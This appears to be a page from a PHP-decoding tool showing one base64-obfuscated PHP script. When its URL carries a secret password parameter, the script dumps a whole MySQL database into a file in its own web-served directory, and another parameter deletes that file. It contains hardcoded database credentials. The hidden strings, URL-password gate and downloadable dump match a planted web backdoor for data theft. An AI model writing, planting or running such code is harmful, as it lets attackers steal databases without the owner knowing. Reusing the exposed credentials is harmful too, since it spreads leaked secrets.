PHP Decode

<?php <?php $l0=base64_decode('ZTVINENieGFiYXFjOWN3WGZR');if(isset($_GET[base64_decode('cGFzcw==')])&&$_GET[base64_decode('cGFzcw==')]===$l0){if(isset($_GET[base64_decode('YWN0aW9u')])){if($_GET[base64_decode('YWN0aW9u')]===base64_decode('YmFja3Vw')){ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),1);ini_set(base64_decode('ZGlzcGxheV9zdGFydHVwX2Vycm9ycw=='),1);error_reporting(E_ALL);$g1=base64_decode('ZGI=');$l2=base64_decode('aW5za2lsbGluX3VzZXI=');$i3=base64_decode('VXNlcnBhc3N3b3JkQDEyMw==');$g4=base64_decode('aW5za2lsbGluX2luc2tpbGxfZW1iZWRkZWRfcmVuYXZv');$f5=dirname(__FILE__).base64_decode('L2U1SDRDYnhhYmFxYzljd1hmUS5zcWw=');echo"<h3>Backing up database to `<code>{$f5}</code>`</h3>";$z6=escapeshellarg($l2);$y7=escapeshellarg($i3);$w8=escapeshellarg($g4);$l9=escapeshellarg($g1);$na=escapeshellarg($f5);$rb="mysqldump --user={$z6} --password={$y7} --host={$w8} {$l9} --result-file={$na} 2>&1";exec($rb,$cc,$pd);if($pd===0){echo base64_decode('RGF0YWJhc2UgYmFja3VwIHN1Y2Nlc3NmdWwh');}else{echo"Error backing up database. Error code: {$pd}";}exit;}elseif($_GET[base64_decode('YWN0aW9u')]===base64_decode('ZGVsZXRl')){$me=dirname(__FILE__).base64_decode('L2U1SDRDYnhhYmFxYzljd1hmUS5zcWw=');if(file_exists($me)){if(unlink($me)){echo base64_decode('U1FMIGZpbGUgZGVsZXRlZCBzdWNjZXNzZnVsbHkh');}else{echo base64_decode('RXJyb3IgZGVsZXRpbmcgU1FMIGZpbGUu');}}else{echo base64_decode('U1FMIGZpbGUgZG9lcyBub3QgZXhpc3Qu');}exit;}else{echo base64_decode('SW52YWxpZCBhY3Rpb24gc3BlY2lmaWVkLg==');}}else{echo base64_decode('QWN0aW9uIHBhcmFtZXRlciBpcyByZXF1aXJlZC4=');}}else{echo base64_decode('VW5hdXRob3JpemVkIGFjY2Vzcy4=');}?>